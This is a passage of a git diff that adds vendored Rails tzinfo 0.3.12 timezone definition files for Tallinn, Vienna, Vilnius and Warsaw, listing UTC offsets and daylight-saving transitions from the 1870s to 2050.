10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb new file mode 100644 index 00000000..de5a8569 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb @@ -0,0 +1,172 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Tallinn + include TimezoneDefinition + + timezone 'Europe/Tallinn' do |tz| + tz.offset :o0, 5940, 0, :LMT + tz.offset :o1, 5940, 0, :TMT + tz.offset :o2, 3600, 0, :CET + tz.offset :o3, 3600, 3600, :CEST + tz.offset :o4, 7200, 0, :EET + tz.offset :o5, 10800, 0, :MSK + tz.offset :o6, 10800, 3600, :MSD + tz.offset :o7, 7200, 3600, :EEST + + tz.transition 1879, 12, :o1, 385234469, 160 + tz.transition 1918, 1, :o2, 387460069, 160 + tz.transition 1918, 4, :o3, 58120765, 24 + tz.transition 1918, 9, :o2, 58124461, 24 + tz.transition 1919, 6, :o1, 58131371, 24 + tz.transition 1921, 4, :o4, 387649669, 160 + tz.transition 1940, 8, :o5, 29158169, 12 + tz.transition 1941, 9, :o3, 19442019, 8 + tz.transition 1942, 11, :o2, 58335973, 24 + tz.transition 1943, 3, :o3, 58339501, 24 + tz.transition 1943, 10, :o2, 58344037, 24 + tz.transition 1944, 4, :o3, 58348405, 24 + tz.transition 1944, 9, :o5, 29176265, 12 + tz.transition 1981, 3, :o6, 354920400 + tz.transition 1981, 9, :o5, 370728000 + tz.transition 1982, 3, :o6, 386456400 + tz.transition 1982, 9, :o5, 402264000 + tz.transition 1983, 3, :o6, 417992400 + tz.transition 1983, 9, :o5, 433800000 + tz.transition 1984, 3, :o6, 449614800 + tz.transition 1984, 9, :o5, 465346800 + tz.transition 1985, 3, :o6, 481071600 + tz.transition 1985, 9, :o5, 496796400 + tz.transition 1986, 3, :o6, 512521200 + tz.transition 1986, 9, :o5, 528246000 + tz.transition 1987, 3, :o6, 543970800 + tz.transition 1987, 9, :o5, 559695600 + tz.transition 1988, 3, :o6, 575420400 + tz.transition 1988, 9, :o5, 591145200 + tz.transition 1989, 3, :o7, 606870000 + tz.transition 1989, 9, :o4, 622598400 + tz.transition 1990, 3, :o7, 638323200 + tz.transition 1990, 9, :o4, 654652800 + tz.transition 1991, 3, :o7, 670377600 + tz.transition 1991, 9, :o4, 686102400 + tz.transition 1992, 3, :o7, 701827200 + tz.transition 1992, 9, :o4, 717552000 + tz.transition 1993, 3, :o7, 733276800 + tz.transition 1993, 9, :o4, 749001600 + tz.transition 1994, 3, :o7, 764726400 + tz.transition 1994, 9, :o4, 780451200 + tz.transition 1995, 3, :o7, 796176000 + tz.transition 1995, 9, :o4, 811900800 + tz.transition 1996, 3, :o7, 828230400 + tz.transition 1996, 10, :o4, 846374400 + tz.transition 1997, 3, :o7, 859680000 + tz.transition 1997, 10, :o4, 877824000 + tz.transition 1998, 3, :o7, 891129600 + tz.transition 1998, 10, :o4, 909277200 + tz.transition 1999, 3, :o7, 922582800 + tz.transition 1999, 10, :o4, 941331600 + tz.transition 2002, 3, :o7, 1017536400 + tz.transition 2002, 10, :o4, 1035680400 + tz.transition 2003, 3, :o7, 1048986000 + tz.transition 2003, 10, :o4, 1067130000 + tz.transition 2004, 3, :o7, 1080435600 + tz.transition 2004, 10, :o4, 1099184400 + tz.transition 2005, 3, :o7, 1111885200 + tz.transition 2005, 10, :o4, 1130634000 + tz.transition 2006, 3, :o7, 1143334800 + tz.transition 2006, 10, :o4, 1162083600 + tz.transition 2007, 3, :o7, 1174784400 + tz.transition 2007, 10, :o4, 1193533200 + tz.transition 2008, 3, :o7, 1206838800 + tz.transition 2008, 10, :o4, 1224982800 + tz.transition 2009, 3, :o7, 1238288400 + tz.transition 2009, 10, :o4, 1256432400 + tz.transition 2010, 3, :o7, 1269738000 + tz.transition 2010, 10, :o4, 1288486800 + tz.transition 2011, 3, :o7, 1301187600 + tz.transition 2011, 10, :o4, 1319936400 + tz.transition 2012, 3, :o7, 1332637200 + tz.transition 2012, 10, :o4, 1351386000 + tz.transition 2013, 3, :o7, 1364691600 + tz.transition 2013, 10, :o4, 1382835600 + tz.transition 2014, 3, :o7, 1396141200 + tz.transition 2014, 10, :o4, 1414285200 + tz.transition 2015, 3, :o7, 1427590800 + tz.transition 2015, 10, :o4, 1445734800 + tz.transition 2016, 3, :o7, 1459040400 + tz.transition 2016, 10, :o4, 1477789200 + tz.transition 2017, 3, :o7, 1490490000 + tz.transition 2017, 10, :o4, 1509238800 + tz.transition 2018, 3, :o7, 1521939600 + tz.transition 2018, 10, :o4, 1540688400 + tz.transition 2019, 3, :o7, 1553994000 + tz.transition 2019, 10, :o4, 1572138000 + tz.transition 2020, 3, :o7, 1585443600 + tz.transition 2020, 10, :o4, 1603587600 + tz.transition 2021, 3, :o7, 1616893200 + tz.transition 2021, 10, :o4, 1635642000 + tz.transition 2022, 3, :o7, 1648342800 + tz.transition 2022, 10, :o4, 1667091600 + tz.transition 2023, 3, :o7, 1679792400 + tz.transition 2023, 10, :o4, 1698541200 + tz.transition 2024, 3, :o7, 1711846800 + tz.transition 2024, 10, :o4, 1729990800 + tz.transition 2025, 3, :o7, 1743296400 + tz.transition 2025, 10, :o4, 1761440400 + tz.transition 2026, 3, :o7, 1774746000 + tz.transition 2026, 10, :o4, 1792890000 + tz.transition 2027, 3, :o7, 1806195600 + tz.transition 2027, 10, :o4, 1824944400 + tz.transition 2028, 3, :o7, 1837645200 + tz.transition 2028, 10, :o4, 1856394000 + tz.transition 2029, 3, :o7, 1869094800 + tz.transition 2029, 10, :o4, 1887843600 + tz.transition 2030, 3, :o7, 1901149200 + tz.transition 2030, 10, :o4, 1919293200 + tz.transition 2031, 3, :o7, 1932598800 + tz.transition 2031, 10, :o4, 1950742800 + tz.transition 2032, 3, :o7, 1964048400 + tz.transition 2032, 10, :o4, 1982797200 + tz.transition 2033, 3, :o7, 1995498000 + tz.transition 2033, 10, :o4, 2014246800 + tz.transition 2034, 3, :o7, 2026947600 + tz.transition 2034, 10, :o4, 2045696400 + tz.transition 2035, 3, :o7, 2058397200 + tz.transition 2035, 10, :o4, 2077146000 + tz.transition 2036, 3, :o7, 2090451600 + tz.transition 2036, 10, :o4, 2108595600 + tz.transition 2037, 3, :o7, 2121901200 + tz.transition 2037, 10, :o4, 2140045200 + tz.transition 2038, 3, :o7, 59172253, 24 + tz.transition 2038, 10, :o4, 59177461, 24 + tz.transition 2039, 3, :o7, 59180989, 24 + tz.transition 2039, 10, :o4, 59186197, 24 + tz.transition 2040, 3, :o7, 59189725, 24 + tz.transition 2040, 10, :o4, 59194933, 24 + tz.transition 2041, 3, :o7, 59198629, 24 + tz.transition 2041, 10, :o4, 59203669, 24 + tz.transition 2042, 3, :o7, 59207365, 24 + tz.transition 2042, 10, :o4, 59212405, 24 + tz.transition 2043, 3, :o7, 59216101, 24 + tz.transition 2043, 10, :o4, 59221141, 24 + tz.transition 2044, 3, :o7, 59224837, 24 + tz.transition 2044, 10, :o4, 59230045, 24 + tz.transition 2045, 3, :o7, 59233573, 24 + tz.transition 2045, 10, :o4, 59238781, 24 + tz.transition 2046, 3, :o7, 59242309, 24 + tz.transition 2046, 10, :o4, 59247517, 24 + tz.transition 2047, 3, :o7, 59251213, 24 + tz.transition 2047, 10, :o4, 59256253, 24 + tz.transition 2048, 3, :o7, 59259949, 24 + tz.transition 2048, 10, :o4, 59264989, 24 + tz.transition 2049, 3, :o7, 59268685, 24 + tz.transition 2049, 10, :o4, 59273893, 24 + tz.transition 2050, 3, :o7, 59277421, 24 + tz.transition 2050, 10, :o4, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb new file mode 100644 index 00000000..990aabab --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb @@ -0,0 +1,183 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Vienna + include TimezoneDefinition + + timezone 'Europe/Vienna' do |tz| + tz.offset :o0, 3920, 0, :LMT + tz.offset :o1, 3600, 0, :CET + tz.offset :o2, 3600, 3600, :CEST + + tz.transition 1893, 3, :o1, 2605558811, 1080 + tz.transition 1916, 4, :o2, 29051813, 12 + tz.transition 1916, 9, :o1, 58107299, 24 + tz.transition 1917, 4, :o2, 58112029, 24 + tz.transition 1917, 9, :o1, 58115725, 24 + tz.transition 1918, 4, :o2, 58120765, 24 + tz.transition 1918, 9, :o1, 58124461, 24 + tz.transition 1920, 4, :o2, 58138069, 24 + tz.transition 1920, 9, :o1, 58141933, 24 + tz.transition 1940, 4, :o2, 58313293, 24 + tz.transition 1942, 11, :o1, 58335973, 24 + tz.transition 1943, 3, :o2, 58339501, 24 + tz.transition 1943, 10, :o1, 58344037, 24 + tz.transition 1944, 4, :o2, 58348405, 24 + tz.transition 1944, 10, :o1, 58352773, 24 + tz.transition 1945, 4, :o2, 58357141, 24 + tz.transition 1945, 4, :o1, 58357381, 24 + tz.transition 1946, 4, :o2, 58366189, 24 + tz.transition 1946, 10, :o1, 58370389, 24 + tz.transition 1947, 4, :o2, 58374757, 24 + tz.transition 1947, 10, :o1, 58379125, 24 + tz.transition 1948, 4, :o2, 58383829, 24 + tz.transition 1948, 10, :o1, 58387861, 24 + tz.transition 1980, 4, :o2, 323823600 + tz.transition 1980, 9, :o1, 338940000 + tz.transition 1981, 3, :o2, 354675600 + tz.transition 1981, 9, :o1, 370400400 + tz.transition 1982, 3, :o2, 386125200 + tz.transition 1982, 9, :o1, 401850000 + tz.transition 1983, 3, :o2, 417574800 + tz.transition 1983, 9, :o1, 433299600 + tz.transition 1984, 3, :o2, 449024400 + tz.transition 1984, 9, :o1, 465354000 + tz.transition 1985, 3, :o2, 481078800 + tz.transition 1985, 9, :o1, 496803600 + tz.transition 1986, 3, :o2, 512528400 + tz.transition 1986, 9, :o1, 528253200 + tz.transition 1987, 3, :o2, 543978000 + tz.transition 1987, 9, :o1, 559702800 + tz.transition 1988, 3, :o2, 575427600 + tz.transition 1988, 9, :o1, 591152400 + tz.transition 1989, 3, :o2, 606877200 + tz.transition 1989, 9, :o1, 622602000 + tz.transition 1990, 3, :o2, 638326800 + tz.transition 1990, 9, :o1, 654656400 + tz.transition 1991, 3, :o2, 670381200 + tz.transition 1991, 9, :o1, 686106000 + tz.transition 1992, 3, :o2, 701830800 + tz.transition 1992, 9, :o1, 717555600 + tz.transition 1993, 3, :o2, 733280400 + tz.transition 1993, 9, :o1, 749005200 + tz.transition 1994, 3, :o2, 764730000 + tz.transition 1994, 9, :o1, 780454800 + tz.transition 1995, 3, :o2, 796179600 + tz.transition 1995, 9, :o1, 811904400 + tz.transition 1996, 3, :o2, 828234000 + tz.transition 1996, 10, :o1, 846378000 + tz.transition 1997, 3, :o2, 859683600 + tz.transition 1997, 10, :o1, 877827600 + tz.transition 1998, 3, :o2, 891133200 + tz.transition 1998, 10, :o1, 909277200 + tz.transition 1999, 3, :o2, 922582800 + tz.transition 1999, 10, :o1, 941331600 + tz.transition 2000, 3, :o2, 954032400 + tz.transition 2000, 10, :o1, 972781200 + tz.transition 2001, 3, :o2, 985482000 + tz.transition 2001, 10, :o1, 1004230800 + tz.transition 2002, 3, :o2, 1017536400 + tz.transition 2002, 10, :o1, 1035680400 + tz.transition 2003, 3, :o2, 1048986000 + tz.transition 2003, 10, :o1, 1067130000 + tz.transition 2004, 3, :o2, 1080435600 + tz.transition 2004, 10, :o1, 1099184400 + tz.transition 2005, 3, :o2, 1111885200 + tz.transition 2005, 10, :o1, 1130634000 + tz.transition 2006, 3, :o2, 1143334800 + tz.transition 2006, 10, :o1, 1162083600 + tz.transition 2007, 3, :o2, 1174784400 + tz.transition 2007, 10, :o1, 1193533200 + tz.transition 2008, 3, :o2, 1206838800 + tz.transition 2008, 10, :o1, 1224982800 + tz.transition 2009, 3, :o2, 1238288400 + tz.transition 2009, 10, :o1, 1256432400 + tz.transition 2010, 3, :o2, 1269738000 + tz.transition 2010, 10, :o1, 1288486800 + tz.transition 2011, 3, :o2, 1301187600 + tz.transition 2011, 10, :o1, 1319936400 + tz.transition 2012, 3, :o2, 1332637200 + tz.transition 2012, 10, :o1, 1351386000 + tz.transition 2013, 3, :o2, 1364691600 + tz.transition 2013, 10, :o1, 1382835600 + tz.transition 2014, 3, :o2, 1396141200 + tz.transition 2014, 10, :o1, 1414285200 + tz.transition 2015, 3, :o2, 1427590800 + tz.transition 2015, 10, :o1, 1445734800 + tz.transition 2016, 3, :o2, 1459040400 + tz.transition 2016, 10, :o1, 1477789200 + tz.transition 2017, 3, :o2, 1490490000 + tz.transition 2017, 10, :o1, 1509238800 + tz.transition 2018, 3, :o2, 1521939600 + tz.transition 2018, 10, :o1, 1540688400 + tz.transition 2019, 3, :o2, 1553994000 + tz.transition 2019, 10, :o1, 1572138000 + tz.transition 2020, 3, :o2, 1585443600 + tz.transition 2020, 10, :o1, 1603587600 + tz.transition 2021, 3, :o2, 1616893200 + tz.transition 2021, 10, :o1, 1635642000 + tz.transition 2022, 3, :o2, 1648342800 + tz.transition 2022, 10, :o1, 1667091600 + tz.transition 2023, 3, :o2, 1679792400 + tz.transition 2023, 10, :o1, 1698541200 + tz.transition 2024, 3, :o2, 1711846800 + tz.transition 2024, 10, :o1, 1729990800 + tz.transition 2025, 3, :o2, 1743296400 + tz.transition 2025, 10, :o1, 1761440400 + tz.transition 2026, 3, :o2, 1774746000 + tz.transition 2026, 10, :o1, 1792890000 + tz.transition 2027, 3, :o2, 1806195600 + tz.transition 2027, 10, :o1, 1824944400 + tz.transition 2028, 3, :o2, 1837645200 + tz.transition 2028, 10, :o1, 1856394000 + tz.transition 2029, 3, :o2, 1869094800 + tz.transition 2029, 10, :o1, 1887843600 + tz.transition 2030, 3, :o2, 1901149200 + tz.transition 2030, 10, :o1, 1919293200 + tz.transition 2031, 3, :o2, 1932598800 + tz.transition 2031, 10, :o1, 1950742800 + tz.transition 2032, 3, :o2, 1964048400 + tz.transition 2032, 10, :o1, 1982797200 + tz.transition 2033, 3, :o2, 1995498000 + tz.transition 2033, 10, :o1, 2014246800 + tz.transition 2034, 3, :o2, 2026947600 + tz.transition 2034, 10, :o1, 2045696400 + tz.transition 2035, 3, :o2, 2058397200 + tz.transition 2035, 10, :o1, 2077146000 + tz.transition 2036, 3, :o2, 2090451600 + tz.transition 2036, 10, :o1, 2108595600 + tz.transition 2037, 3, :o2, 2121901200 + tz.transition 2037, 10, :o1, 2140045200 + tz.transition 2038, 3, :o2, 59172253, 24 + tz.transition 2038, 10, :o1, 59177461, 24 + tz.transition 2039, 3, :o2, 59180989, 24 + tz.transition 2039, 10, :o1, 59186197, 24 + tz.transition 2040, 3, :o2, 59189725, 24 + tz.transition 2040, 10, :o1, 59194933, 24 + tz.transition 2041, 3, :o2, 59198629, 24 + tz.transition 2041, 10, :o1, 59203669, 24 + tz.transition 2042, 3, :o2, 59207365, 24 + tz.transition 2042, 10, :o1, 59212405, 24 + tz.transition 2043, 3, :o2, 59216101, 24 + tz.transition 2043, 10, :o1, 59221141, 24 + tz.transition 2044, 3, :o2, 59224837, 24 + tz.transition 2044, 10, :o1, 59230045, 24 + tz.transition 2045, 3, :o2, 59233573, 24 + tz.transition 2045, 10, :o1, 59238781, 24 + tz.transition 2046, 3, :o2, 59242309, 24 + tz.transition 2046, 10, :o1, 59247517, 24 + tz.transition 2047, 3, :o2, 59251213, 24 + tz.transition 2047, 10, :o1, 59256253, 24 + tz.transition 2048, 3, :o2, 59259949, 24 + tz.transition 2048, 10, :o1, 59264989, 24 + tz.transition 2049, 3, :o2, 59268685, 24 + tz.transition 2049, 10, :o1, 59273893, 24 + tz.transition 2050, 3, :o2, 59277421, 24 + tz.transition 2050, 10, :o1, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb new file mode 100644 index 00000000..d89d095a --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb @@ -0,0 +1,170 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Vilnius + include TimezoneDefinition + + timezone 'Europe/Vilnius' do |tz| + tz.offset :o0, 6076, 0, :LMT + tz.offset :o1, 5040, 0, :WMT + tz.offset :o2, 5736, 0, :KMT + tz.offset :o3, 3600, 0, :CET + tz.offset :o4, 7200, 0, :EET + tz.offset :o5, 10800, 0, :MSK + tz.offset :o6, 3600, 3600, :CEST + tz.offset :o7, 10800, 3600, :MSD + tz.offset :o8, 7200, 3600, :EEST + + tz.transition 1879, 12, :o1, 52006653281, 21600 + tz.transition 1916, 12, :o2, 290547533, 120 + tz.transition 1919, 10, :o3, 8720069161, 3600 + tz.transition 1920, 7, :o4, 58140419, 24 + tz.transition 1920, 10, :o3, 29071277, 12 + tz.transition 1940, 8, :o5, 58316267, 24 + tz.transition 1941, 6, :o6, 19441355, 8 + tz.transition 1942, 11, :o3, 58335973, 24 + tz.transition 1943, 3, :o6, 58339501, 24 + tz.transition 1943, 10, :o3, 58344037, 24 + tz.transition 1944, 4, :o6, 58348405, 24 + tz.transition 1944, 7, :o5, 29175641, 12 + tz.transition 1981, 3, :o7, 354920400 + tz.transition 1981, 9, :o5, 370728000 + tz.transition 1982, 3, :o7, 386456400 + tz.transition 1982, 9, :o5, 402264000 + tz.transition 1983, 3, :o7, 417992400 + tz.transition 1983, 9, :o5, 433800000 + tz.transition 1984, 3, :o7, 449614800 + tz.transition 1984, 9, :o5, 465346800 + tz.transition 1985, 3, :o7, 481071600 + tz.transition 1985, 9, :o5, 496796400 + tz.transition 1986, 3, :o7, 512521200 + tz.transition 1986, 9, :o5, 528246000 + tz.transition 1987, 3, :o7, 543970800 + tz.transition 1987, 9, :o5, 559695600 + tz.transition 1988, 3, :o7, 575420400 + tz.transition 1988, 9, :o5, 591145200 + tz.transition 1989, 3, :o7, 606870000 + tz.transition 1989, 9, :o5, 622594800 + tz.transition 1990, 3, :o7, 638319600 + tz.transition 1990, 9, :o5, 654649200 + tz.transition 1991, 3, :o8, 670374000 + tz.transition 1991, 9, :o4, 686102400 + tz.transition 1992, 3, :o8, 701827200 + tz.transition 1992, 9, :o4, 717552000 + tz.transition 1993, 3, :o8, 733276800 + tz.transition 1993, 9, :o4, 749001600 + tz.transition 1994, 3, :o8, 764726400 + tz.transition 1994, 9, :o4, 780451200 + tz.transition 1995, 3, :o8, 796176000 + tz.transition 1995, 9, :o4, 811900800 + tz.transition 1996, 3, :o8, 828230400 + tz.transition 1996, 10, :o4, 846374400 + tz.transition 1997, 3, :o8, 859680000 + tz.transition 1997, 10, :o4, 877824000 + tz.transition 1998, 3, :o6, 891133200 + tz.transition 1998, 10, :o3, 909277200 + tz.transition 1999, 3, :o6, 922582800 + tz.transition 1999, 10, :o4, 941331600 + tz.transition 2003, 3, :o8, 1048986000 + tz.transition 2003, 10, :o4, 1067130000 + tz.transition 2004, 3, :o8, 1080435600 + tz.transition 2004, 10, :o4, 1099184400 + tz.transition 2005, 3, :o8, 1111885200 + tz.transition 2005, 10, :o4, 1130634000 + tz.transition 2006, 3, :o8, 1143334800 + tz.transition 2006, 10, :o4, 1162083600 + tz.transition 2007, 3, :o8, 1174784400 + tz.transition 2007, 10, :o4, 1193533200 + tz.transition 2008, 3, :o8, 1206838800 + tz.transition 2008, 10, :o4, 1224982800 + tz.transition 2009, 3, :o8, 1238288400 + tz.transition 2009, 10, :o4, 1256432400 + tz.transition 2010, 3, :o8, 1269738000 + tz.transition 2010, 10, :o4, 1288486800 + tz.transition 2011, 3, :o8, 1301187600 + tz.transition 2011, 10, :o4, 1319936400 + tz.transition 2012, 3, :o8, 1332637200 + tz.transition 2012, 10, :o4, 1351386000 + tz.transition 2013, 3, :o8, 1364691600 + tz.transition 2013, 10, :o4, 1382835600 + tz.transition 2014, 3, :o8, 1396141200 + tz.transition 2014, 10, :o4, 1414285200 + tz.transition 2015, 3, :o8, 1427590800 + tz.transition 2015, 10, :o4, 1445734800 + tz.transition 2016, 3, :o8, 1459040400 + tz.transition 2016, 10, :o4, 1477789200 + tz.transition 2017, 3, :o8, 1490490000 + tz.transition 2017, 10, :o4, 1509238800 + tz.transition 2018, 3, :o8, 1521939600 + tz.transition 2018, 10, :o4, 1540688400 + tz.transition 2019, 3, :o8, 1553994000 + tz.transition 2019, 10, :o4, 1572138000 + tz.transition 2020, 3, :o8, 1585443600 + tz.transition 2020, 10, :o4, 1603587600 + tz.transition 2021, 3, :o8, 1616893200 + tz.transition 2021, 10, :o4, 1635642000 + tz.transition 2022, 3, :o8, 1648342800 + tz.transition 2022, 10, :o4, 1667091600 + tz.transition 2023, 3, :o8, 1679792400 + tz.transition 2023, 10, :o4, 1698541200 + tz.transition 2024, 3, :o8, 1711846800 + tz.transition 2024, 10, :o4, 1729990800 + tz.transition 2025, 3, :o8, 1743296400 + tz.transition 2025, 10, :o4, 1761440400 + tz.transition 2026, 3, :o8, 1774746000 + tz.transition 2026, 10, :o4, 1792890000 + tz.transition 2027, 3, :o8, 1806195600 + tz.transition 2027, 10, :o4, 1824944400 + tz.transition 2028, 3, :o8, 1837645200 + tz.transition 2028, 10, :o4, 1856394000 + tz.transition 2029, 3, :o8, 1869094800 + tz.transition 2029, 10, :o4, 1887843600 + tz.transition 2030, 3, :o8, 1901149200 + tz.transition 2030, 10, :o4, 1919293200 + tz.transition 2031, 3, :o8, 1932598800 + tz.transition 2031, 10, :o4, 1950742800 + tz.transition 2032, 3, :o8, 1964048400 + tz.transition 2032, 10, :o4, 1982797200 + tz.transition 2033, 3, :o8, 1995498000 + tz.transition 2033, 10, :o4, 2014246800 + tz.transition 2034, 3, :o8, 2026947600 + tz.transition 2034, 10, :o4, 2045696400 + tz.transition 2035, 3, :o8, 2058397200 + tz.transition 2035, 10, :o4, 2077146000 + tz.transition 2036, 3, :o8, 2090451600 + tz.transition 2036, 10, :o4, 2108595600 + tz.transition 2037, 3, :o8, 2121901200 + tz.transition 2037, 10, :o4, 2140045200 + tz.transition 2038, 3, :o8, 59172253, 24 + tz.transition 2038, 10, :o4, 59177461, 24 + tz.transition 2039, 3, :o8, 59180989, 24 + tz.transition 2039, 10, :o4, 59186197, 24 + tz.transition 2040, 3, :o8, 59189725, 24 + tz.transition 2040, 10, :o4, 59194933, 24 + tz.transition 2041, 3, :o8, 59198629, 24 + tz.transition 2041, 10, :o4, 59203669, 24 + tz.transition 2042, 3, :o8, 59207365, 24 + tz.transition 2042, 10, :o4, 59212405, 24 + tz.transition 2043, 3, :o8, 59216101, 24 + tz.transition 2043, 10, :o4, 59221141, 24 + tz.transition 2044, 3, :o8, 59224837, 24 + tz.transition 2044, 10, :o4, 59230045, 24 + tz.transition 2045, 3, :o8, 59233573, 24 + tz.transition 2045, 10, :o4, 59238781, 24 + tz.transition 2046, 3, :o8, 59242309, 24 + tz.transition 2046, 10, :o4, 59247517, 24 + tz.transition 2047, 3, :o8, 59251213, 24 + tz.transition 2047, 10, :o4, 59256253, 24 + tz.transition 2048, 3, :o8, 59259949, 24 + tz.transition 2048, 10, :o4, 59264989, 24 + tz.transition 2049, 3, :o8, 59268685, 24 + tz.transition 2049, 10, :o4, 59273893, 24 + tz.transition 2050, 3, :o8, 59277421, 24 + tz.transition 2050, 10, :o4, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb new file mode 100644 index 00000000..7fa51c26 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb @@ -0,0 +1,212 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Warsaw + include TimezoneDefinition + + timezone 'Europe/Warsaw' do |tz| + tz.offset :o0, 5040, 0, :LMT + tz.offset :o1, 5040, 0, :WMT + tz.offset :o2, 3600, 0, :CET + tz.offset :o3, 3600, 3600, :CEST + tz.offset :o4, 7200, 0, :EET + tz.offset :o5, 7200, 3600, :EEST + + tz.transition 1879, 12, :o1, 288925853, 120 + tz.transition 1915, 8, :o2, 290485733, 120 + tz.transition 1916, 4, :o3, 29051813, 12 + tz.transition 1916, 9, :o2, 58107299, 24 + tz.transition 1917, 4, :o3, 58112029, 24 + tz.transition 1917, 9, :o2, 58115725, 24 + tz.transition 1918, 4, :o3, 58120765, 24 + tz.transition 1918, 9, :o4, 58124461, 24 + tz.transition 1919, 4, :o5, 4844127, 2 + tz.transition 1919, 9, :o4, 4844435, 2 + tz.transition 1922, 5, :o2, 29078477, 12 + tz.transition 1940, 6, :o3, 58315285, 24 + tz.transition 1942, 11, :o2, 58335973, 24 + tz.transition 1943, 3, :o3, 58339501, 24 + tz.transition 1943, 10, :o2, 58344037, 24 + tz.transition 1944, 4, :o3, 58348405, 24 + tz.transition 1944, 10, :o2, 4862735, 2 + tz.transition 1945, 4, :o3, 58357787, 24 + tz.transition 1945, 10, :o2, 29181125, 12 + tz.transition 1946, 4, :o3, 58366187, 24 + tz.transition 1946, 10, :o2, 58370413, 24 + tz.transition 1947, 5, :o3, 58375429, 24 + tz.transition 1947, 10, :o2, 58379125, 24 + tz.transition 1948, 4, :o3, 58383829, 24 + tz.transition 1948, 10, :o2, 58387861, 24 + tz.transition 1949, 4, :o3, 58392397, 24 + tz.transition 1949, 10, :o2, 58396597, 24 + tz.transition 1957, 6, :o3, 4871983, 2 + tz.transition 1957, 9, :o2, 4872221, 2 + tz.transition 1958, 3, :o3, 4872585, 2 + tz.transition 1958, 9, :o2, 4872949, 2 + tz.transition 1959, 5, :o3, 4873439, 2 + tz.transition 1959, 10, :o2, 4873691, 2 + tz.transition 1960, 4, :o3, 4874055, 2 + tz.transition 1960, 10, :o2, 4874419, 2 + tz.transition 1961, 5, :o3, 4874895, 2 + tz.transition 1961, 10, :o2, 4875147, 2 + tz.transition 1962, 5, :o3, 4875623, 2 + tz.transition 1962, 9, :o2, 4875875, 2 + tz.transition 1963, 5, :o3, 4876351, 2 + tz.transition 1963, 9, :o2, 4876603, 2 + tz.transition 1964, 5, :o3, 4877093, 2 + tz.transition 1964, 9, :o2, 4877331, 2 + tz.transition 1977, 4, :o3, 228873600 + tz.transition 1977, 9, :o2, 243993600 + tz.transition 1978, 4, :o3, 260323200 + tz.transition 1978, 10, :o2, 276048000 + tz.transition 1979, 4, :o3, 291772800 + tz.transition 1979, 9, :o2, 307497600 + tz.transition 1980, 4, :o3, 323827200 + tz.transition 1980, 9, :o2, 338947200 + tz.transition 1981, 3, :o3, 354672000 + tz.transition 1981, 9, :o2, 370396800 + tz.transition 1982, 3, :o3, 386121600 + tz.transition 1982, 9, :o2, 401846400 + tz.transition 1983, 3, :o3, 417571200 + tz.transition 1983, 9, :o2, 433296000 + tz.transition 1984, 3, :o3, 449020800 + tz.transition 1984, 9, :o2, 465350400 + tz.transition 1985, 3, :o3, 481075200 + tz.transition 1985, 9, :o2, 496800000 + tz.transition 1986, 3, :o3, 512524800 + tz.transition 1986, 9, :o2, 528249600 + tz.transition 1987, 3, :o3, 543974400 + tz.transition 1987, 9, :o2, 559699200 + tz.transition 1988, 3, :o3, 575427600 + tz.transition 1988, 9, :o2, 591152400 + tz.transition 1989, 3, :o3, 606877200 + tz.transition 1989, 9, :o2, 622602000 + tz.transition 1990, 3, :o3, 638326800 + tz.transition 1990, 9, :o2, 654656400 + tz.transition 1991, 3, :o3, 670381200 + tz.transition 1991, 9, :o2, 686106000 + tz.transition 1992, 3, :o3, 701830800 + tz.transition 1992, 9, :o2, 717555600 + tz.transition 1993, 3, :o3, 733280400 + tz.transition 1993, 9, :o2, 749005200 + tz.transition 1994, 3, :o3, 764730000 + tz.transition 1994, 9, :o2, 780454800 + tz.transition 1995, 3, :o3, 796179600 + tz.transition 1995, 9, :o2, 811904400 + tz.transition 1996, 3, :o3, 828234000 + tz.transition 1996, 10, :o2, 846378000 + tz.transition 1997, 3, :o3, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o3, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o3, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o3, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o3, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o3, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o3, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + 